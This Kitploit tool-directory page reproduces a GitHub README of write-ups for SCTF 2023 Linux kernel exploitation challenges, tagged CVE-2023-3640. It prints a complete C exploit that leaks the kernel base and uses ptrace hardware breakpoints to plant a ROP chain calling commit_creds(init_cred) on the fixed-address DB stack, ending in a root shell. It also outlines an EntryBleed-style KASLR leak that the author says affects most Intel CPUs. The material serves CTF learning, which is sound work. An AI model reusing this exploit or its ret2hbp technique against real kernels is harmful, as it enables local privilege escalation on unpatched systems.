Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-3640 — SCTF 2023 kernel pwn && CVE-2023-3640 | Kitploit
Tools/GitHubGitHub/pray77/cve-2023-3640
Vulnerability AnalysisExploitationCTFLearning & EducationBinary Exploitation
GitHubpray77/cve-2023-3640

CVE-2023-3640

SCTF 2023 kernel pwn && CVE-2023-3640

View Repository
2913 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

SCTF2023_kernelpwn

SCTF 2023 kernel pwn

Off-topic: A little advertisement — the author is a 2024 undergraduate graduate student, participating in this year's autumn recruitment. Feel free to contact me~

sycrop

This problem aims to test two points.

  1. The starting points of the cpu entry area mapping have several addresses with fixed offsets from the kernel text segment. Refer to the image below. This is just a small trick, first appearing in Google's KCTF and later in several international competitions.

image

3Z(ZSS7$2V)YRPGD 7%KY

  1. By setting a hardware breakpoint triggered in userspace, register contents can be pushed onto the DB stack, which has a fixed offset from the per cpu entry area. Before Linux 6.2, the per cpu entry area was not randomized, so its address was fixed, enabling the construction of a ROP chain at a fixed kernel address. This is the innovative point of this challenge, which the author temporarily names: ret2hbp. The naming is just for convenience in describing this attack technique; the author does not claim originality. In fact, the development path of kernel exploitation itself is charming enough, and picking up a shell on the beach is already joyful enough : )

For specific addresses and offsets, refer to the exp. I hope everyone can debug it themselves.

root@kitploit:~
#define _GNU_SOURCE
#include <sched.h>
#include <sys/mman.h>
#include <pthread.h>
#include <semaphore.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <sys/wait.h>
#include <stddef.h>
#include <asm/user_64.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <fcntl.h>

void* map;
#define PAGE_SIZE 0x1000
pid_t hbp_pid;
unsigned long kernel_base;
unsigned long init_cred;
unsigned long commit_cred;
unsigned long pop_rdi;
unsigned long swapgs_restore_regs_and_return_to_usermode;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void teardown()
{
    kill(hbp_pid,9);
}

void create_hbp(void* addr)
{

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg), addr) == -1) {
        printf("Could not create hbp! ptrace dr0: %m\n");
        teardown();
        exit(1);
    }

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
        printf("Could not create hbp! ptrace dr7: %m\n");
        teardown();
        exit(1);
    }
}

void hbp_raw_fire()
{
    if(ptrace(PTRACE_CONT,hbp_pid,NULL,NULL) == -1)
        {
            printf("Failed to PTRACE_CONT: %m\n");
            teardown();
            exit(1);
        }
}
void getRootShell(void)
{   
    if(getuid()) {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. "
         "Execve root shell now...\033[0m");
    system("/bin/sh");
}
size_t getshelladdr = &getRootShell;
void init(unsigned cpu)
{
    cpu_set_t mask;
    map = mmap((void*) 0x0a000000,0x1000000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED,0,0);
    switch(hbp_pid = fork())
    {
        case 0: //child
            //pin cpu

            CPU_ZERO(&mask);
            CPU_SET(cpu,&mask);
            sched_setaffinity(0,sizeof(mask),&mask);
            ptrace(PTRACE_TRACEME,0,NULL,NULL);
            raise(SIGSTOP);
            __asm__(
                "mov r15,   0xbeefdead;"
                "mov r14,   pop_rdi;"
                "mov r13,   init_cred;" // start at there
                "mov r12,   commit_cred;"
                "mov rbp,   swapgs_restore_regs_and_return_to_usermode;"
                "mov rbx,   0x77777777;"
                "mov r11,   0x77777777;"
                "mov r10,   getshelladdr;"
                "mov r9,    user_cs;"
                "mov r8,    user_rflags;"
                "mov rax,   user_sp;"
                "mov rcx,   user_ss;"
                "mov rdx,   0xcccccccc;"
                "mov rsi,   0xa000000;"
                "mov rdi,   [rsi];"
            );
            exit(1);
        case -1:
            printf("fork: %m\n");
            exit(1);
        default: //parent. Just exit switch
            break;
    }
    int status;
    //Watch for stop:
    puts("Waiting for child");
    while(waitpid(hbp_pid,&status,__WALL) != hbp_pid || !WIFSTOPPED(status))
    {
        sched_yield();
    }
    puts("Setting breakpoint");
    create_hbp(map);
}

int main()
{
    saveStatus();
    int fd = open("/dev/seven", O_RDWR);
    if(fd < 0) perror("Error open");
    unsigned long addr =  ioctl(fd,0x5555,0xfffffe0000000000+4);
    printf("0x%llx\n",addr-0x1008e00);
    kernel_base = addr-0x1008e00;
    init_cred = kernel_base + 0xffffffffbd64cbf8 - 0xffffffffbbc00000;
    commit_cred = kernel_base + 0xffffffffbbcbb5b0 - 0xffffffffbbc00000;
    pop_rdi = kernel_base + 0xffffffff81002c9d - 0xffffffff81000000;
    swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xffffffff82000f01 - 0xffffffff81000000;
    init(1);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    ioctl(fd,0x6666,0xfffffe0000010f60);
}

sycrpg

In fact, this is just a 1day exploitation problem. The basic idea comes from this article by Google's Project Zero. The author's work was only to turn it into a CTF challenge, making it convenient for everyone to learn this exploitation method that I personally find powerful and interesting, and to experience the charm of being able to get shell by writing only one byte at one address. https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html?m=1

moonpray

This is a problem involving a kernel information leak 0day, but there were unintended solutions (both teams that solved it used unintended solutions).

The problem is an enhanced version of sycrop with the leak removed, because the kernel version is 6.2, and the per cpu entry area added randomization.

  1. First, we still need to leak. The point here is a CPU vulnerability. Note the -enable-kvm and -cpu host in the startup script, which use the physical host's CPU. In fact, in most cases, Intel CPUs are affected by this vulnerability. For details, refer to the 1day Entrybleed article (https://www.willsroot.io/2022/12/entrybleed.html#comment-form). Using the script above, you can leak KASLR.
  2. For the ROP part, following the sycrop approach, we should migrate the stack to the DB stack. But now the per cpu entry area has randomization, so the DB stack is also randomized (it is at offset +0xf000 from the per cpu entry area). However, in fact, when KPTI is enabled, not only the system call entry point (entry_SYSCALL_64 in EntryBleed) is mapped to userspace, but the per cpu entry area is also mapped. Therefore, the offset can be obtained by calculating the time difference using prefetch instructions. The specific script cannot be released until the vendor agrees to disclosure (but I think the above explanation is clear enough, and I believe others can figure it out).
  3. Regarding the unintended solution, the ROP part could use ret2dir. This is the author's oversight. When designing the problem, I did consider whether ret2dir could work, but due to time constraints, I finished the main part of the problem and forgot to address this. However, it's okay, at least this problem has a solution.
Download Tool